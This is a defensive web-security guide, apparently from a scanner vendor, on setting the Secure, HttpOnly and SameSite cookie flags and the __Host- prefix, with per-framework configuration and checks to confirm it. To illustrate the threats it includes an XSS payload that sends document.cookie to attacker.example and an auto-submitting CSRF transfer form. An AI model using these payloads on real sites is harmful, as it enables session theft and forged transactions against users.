- Why a Cookie Is Worth Stealing
- Secure — Protecting the Wire
- HttpOnly — Protecting Against Your Own Page
- SameSite — Protecting Against Other Sites
- Choosing Between Lax, Strict and None
- The
__Host-Prefix Almost Nobody Enables - Copy-Paste Configuration by Framework
- How to Verify You Got It Right
- Beyond the Flags: Session Lifecycle
- Frequently Asked Questions
If our scanner flagged a session cookie missing Secure or HttpOnly, the fix is usually one line of configuration — but understanding which attacker each flag stops is what turns a checkbox into a decision you can defend. This guide covers both.
Why a Cookie Is Worth Stealing
After you log in, the server hands your browser a session cookie. From that moment, the cookie is your identity. Every subsequent request carries it, and the server trusts it — that is the entire point of a session.
Which produces an uncomfortable consequence: an attacker who obtains your session cookie does not need your password. They do not need to defeat your two-factor authentication either, because 2FA is verified at login and the session has already passed that gate. They paste the cookie value into their own browser and are you — until it expires or someone invalidates it.
A password is a key to the door. A session cookie is being already inside the building. This is why stealing sessions is more attractive than stealing credentials, and why three small attributes matter more than their size suggests.
Each flag closes a different route to that theft. They are not alternatives; each one is useless against the attacker the others handle.
Secure — Protecting the Wire
What it does: tells the browser to send this cookie only over an encrypted HTTPS connection. Over plain HTTP, it is withheld entirely.
What it stops: passive network interception. On a shared network — café Wi-Fi, an airport, a hotel, a compromised router — anyone in a position to observe traffic can read a cookie transmitted in plaintext.
The subtlety worth knowing: "my site redirects to HTTPS" is not sufficient. Consider what happens without the flag when a user types your bare domain: the browser issues a plaintext request first, attaches the cookie to it, and the redirect only arrives afterwards. The cookie has already crossed the network in the clear. The same applies to any stray http:// asset, an old bookmark, or a link in an email. The redirect fixes the page; only the flag fixes the cookie.
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/
Secure prevents the cookie leaking over plaintext; HSTS prevents the plaintext request happening at all, by instructing the browser never to contact your domain over HTTP again. Together they close the window completely. See our security headers checklist for a correct HSTS rollout, including why includeSubDomains deserves thought before you commit to it.
HttpOnly — Protecting Against Your Own Page
What it does: makes the cookie invisible to JavaScript. It is still sent with every request automatically, but document.cookie cannot see it.
What it stops: cookie theft via cross-site scripting. If an attacker manages to run JavaScript on your page — through a comment field, a URL parameter reflected into the DOM, or a compromised third-party script — the classic payload is two lines:
// The canonical session-theft payload, neutralized by HttpOnly
new Image().src = "https://attacker.example/collect?c=" + document.cookie;
With HttpOnly set, document.cookie simply does not contain the session, and this payload collects nothing of value.
The honest caveat, because this is frequently overstated: HttpOnly does not make XSS harmless. An attacker running code in your page can still act as the logged-in user from within that page — submit forms, call your API, read rendered content, exfiltrate data. What the flag prevents is the attacker taking the session elsewhere: replaying it from their own machine, at their own pace, after your user has closed the tab. That is a meaningful reduction in blast radius and duration, and it is worth having, but the injection itself still needs fixing. Our guides on preventing XSS and Content-Security-Policy address the root cause.
The common objection: "our front-end needs to read the session token." Almost always it does not — the browser attaches the cookie automatically on every request. If your JavaScript genuinely reads the session value, that is usually a sign the token is being used as a bearer credential in a header, in which case it should not be in a cookie at all. Pick one model deliberately rather than accidentally straddling both.
SameSite — Protecting Against Other Sites
What it does: controls whether the cookie is attached to requests that originate from a different site.
What it stops: cross-site request forgery. The attack works like this: you are logged into your bank in one tab. You visit an unrelated page containing a hidden form that auto-submits a transfer request to your bank. Your browser, being helpful, attaches your bank session cookie to that request — and the bank sees a fully authenticated instruction it has no reason to doubt.
<!-- On attacker.example — submits automatically with the victim's cookie attached -->
<form action="https://yourbank.example/transfer" method="POST">
<input type="hidden" name="to" value="attacker-account">
<input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit();</script>
SameSite instructs the browser not to attach the cookie to that cross-site POST, and the forged request arrives unauthenticated.
Choosing Between Lax, Strict and None
This is the only one of the three that involves a genuine trade-off, so it deserves a deliberate choice rather than a default.
SameSite=Lax— the right default. The cookie is withheld on cross-site POST, PUT and DELETE requests (which stops classic CSRF) but is still sent when a user clicks an ordinary link to your site. Users arriving from email, search or social media remain logged in. Modern browsers apply Lax by default when the attribute is absent, but relying on a default across every browser version is not a control — set it explicitly.SameSite=Strict— maximum protection, real friction. The cookie is withheld on every cross-site request, including plain link navigation. A user clicking a link from their email to your dashboard arrives logged out, which is confusing and generates support load. Appropriate for banking, administrative panels and internal tools; usually wrong for consumer products. A common pattern is Strict for admin routes and Lax for the main site.SameSite=None— only for genuine cross-site flows, such as an embedded widget or a payment iframe on a customer's domain. It must be paired withSecure, or browsers reject the cookie outright. Choosing None without that pairing is the most common cause of "my login broke in production and works locally."
It is defence in depth, not a replacement for CSRF tokens. It does not protect against an attack originating on your own domain — including from a compromised subdomain, which the browser considers same-site. Keep your framework's CSRF tokens enabled and treat SameSite as a strong second layer.
The __Host- Prefix Almost Nobody Enables
Here is a control that costs one rename and is missing from the overwhelming majority of sites we scan.
Name your cookie with a __Host- prefix and the browser refuses to accept it unless it satisfies three conditions: it is marked Secure, its Path is /, and it carries no Domain attribute at all.
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/
The third condition is the valuable one. Without a Domain attribute the cookie is locked to the exact host that set it, which means a subdomain cannot write it. That closes an attack most teams never consider: an attacker who controls blog.yoursite.com — through a takeover of an abandoned DNS record, a vulnerable CMS, or a marketing tool on a subdomain — can normally set a cookie scoped to .yoursite.com that your main application will read. This is cookie tossing, and it can be used for session fixation or to overwrite CSRF tokens.
The prefix converts your intentions into rules the browser enforces on your behalf. If your architecture genuinely requires sharing a cookie across subdomains, use __Secure- instead, which enforces the Secure requirement while permitting a Domain attribute. And if you have subdomains you no longer use, our subdomain takeover guide is the companion piece to this one.
Copy-Paste Configuration by Framework
PHP — set these before session_start(), and set them in php.ini too so nothing depends on a particular entry point:
<?php
// php.ini (preferred — applies everywhere)
// session.cookie_secure = 1
// session.cookie_httponly = 1
// session.cookie_samesite = "Lax"
// session.use_strict_mode = 1
// session.use_only_cookies = 1
// Or in code, BEFORE session_start():
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax',
]);
session_start();
Node.js / Express — note trust proxy, without which secure cookies are silently dropped behind a load balancer:
app.set("trust proxy", 1); // required behind nginx, ALB, Cloudflare
app.use(session({
name: "__Host-sid",
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true,
httpOnly: true,
sameSite: "lax",
path: "/", // required by the __Host- prefix
maxAge: 1000 * 60 * 60 * 8
}
}));
Laravel — config/session.php:
'secure' => env('SESSION_SECURE_COOKIE', true),
'http_only' => true,
'same_site' => 'lax',
Django — settings.py:
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = "Lax"
CSRF_COOKIE_SECURE = True
SECURE_HSTS_SECONDS = 31536000
ASP.NET Core — Program.cs:
builder.Services.ConfigureApplicationCookie(o => {
o.Cookie.SecurePolicy = CookieSecurePolicy.Always;
o.Cookie.HttpOnly = true;
o.Cookie.SameSite = SameSiteMode.Lax;
});
WordPress — wp-config.php, above the "stop editing" line:
define('FORCE_SSL_ADMIN', true);
@ini_set('session.cookie_httponly', 1);
@ini_set('session.cookie_secure', 1);
@ini_set('session.use_only_cookies', 1);
Nginx — a safety net that rewrites cookies set by an upstream you cannot easily change. Treat it as a stopgap, not the fix:
proxy_cookie_flags ~ secure httponly samesite=lax; # nginx 1.19.3+
How to Verify You Got It Right
Configuration that was never verified is a hypothesis. Check the live site three ways:
# 1. Inspect the actual Set-Cookie header on login
curl -sI -X POST https://yourdomain.com/login | grep -i "set-cookie"
# Expect: Set-Cookie: __Host-session=…; Secure; HttpOnly; SameSite=Lax; Path=/
2. Browser developer tools — Application → Cookies. The Secure, HttpOnly and SameSite columns show the truth for every cookie, including ones set by third-party scripts you may have forgotten about.
3. Confirm HttpOnly actually works — in the console on your logged-in site:
document.cookie // your session cookie must NOT appear in this output
Behind a reverse proxy or CDN, the application often sees the request as plain HTTP because TLS terminated upstream. Frameworks then decline to set Secure cookies "because the connection is not secure," and your production login silently ships unprotected cookies while local development looks perfect. Set trust proxy in Express, SECURE_PROXY_SSL_HEADER in Django, or TrustedProxies in Laravel — and always verify against production, never against localhost.
Beyond the Flags: Session Lifecycle
The three attributes protect a session in transit. These four practices govern its life, and together they are what separate a hardened application from a merely compliant one:
- Regenerate the session ID on every privilege change. At login, at logout, and at elevation to admin. Without this you are exposed to session fixation, where an attacker plants a known session ID before login and inherits the authenticated session afterwards. In PHP:
session_regenerate_id(true)immediately after successful authentication. - Expire sessions on the server, not only in the cookie. A cookie
maxAgeis a browser-side hint; a stolen value replayed elsewhere ignores it entirely. The server must consider the session expired independently. - Invalidate server-side on logout. Deleting the cookie removes the copy in that browser. If the session record remains valid on the server, a stolen copy still works — which means your logout button protects the honest user and nobody else.
- Provide a global sign-out. Users need a way to terminate every active session after losing a device. This is also your only real remedy after a suspected theft: rotating the session store invalidates every outstanding cookie at once.
Check Your Cookie Configuration — Free
Our scanner inspects every Set-Cookie header on your site and flags session cookies missing Secure, HttpOnly or SameSite — with the exact fix for your stack, in about 60 seconds.
Also see: How to Prevent XSS, Security Headers Checklist 2026, Cookie Consent & GDPR, and Subdomain Takeover Guide.
Frequently Asked Questions
What is the difference between Secure and HttpOnly?
They stop different attackers. Secure governs transport — the cookie is only sent over HTTPS, so someone watching the network cannot read it from a plaintext request. HttpOnly governs the page — JavaScript cannot read the cookie via document.cookie, so an XSS flaw cannot steal the session. You need both.
Should I use SameSite=Strict or SameSite=Lax?
Lax for most sites: it blocks cross-site POST requests (stopping classic CSRF) while keeping users logged in when they follow a normal link. Strict withholds the cookie on all cross-site requests including link navigation, so users arriving from email or search appear logged out — appropriate for banking and admin panels, usually too much friction elsewhere.
Does HttpOnly make XSS harmless?
No. It removes one outcome — stealing the cookie and replaying it elsewhere. An attacker running JavaScript on your page can still act as the logged-in user from within that page. HttpOnly limits blast radius and duration; it does not replace fixing the injection.
What does the __Host- prefix do?
It makes the browser enforce your intentions. A __Host- cookie is only accepted when it is Secure, has Path=/, and carries no Domain attribute — which means a compromised subdomain cannot set or overwrite it, closing the cookie-tossing attack. One rename, real gain.
My cookies are correct locally but not in production. Why?
Almost always TLS termination at a proxy or CDN. The application sees plain HTTP and therefore declines to set Secure cookies. Configure trust proxy (Express), SECURE_PROXY_SSL_HEADER (Django) or trusted proxies (Laravel), and verify against production rather than localhost.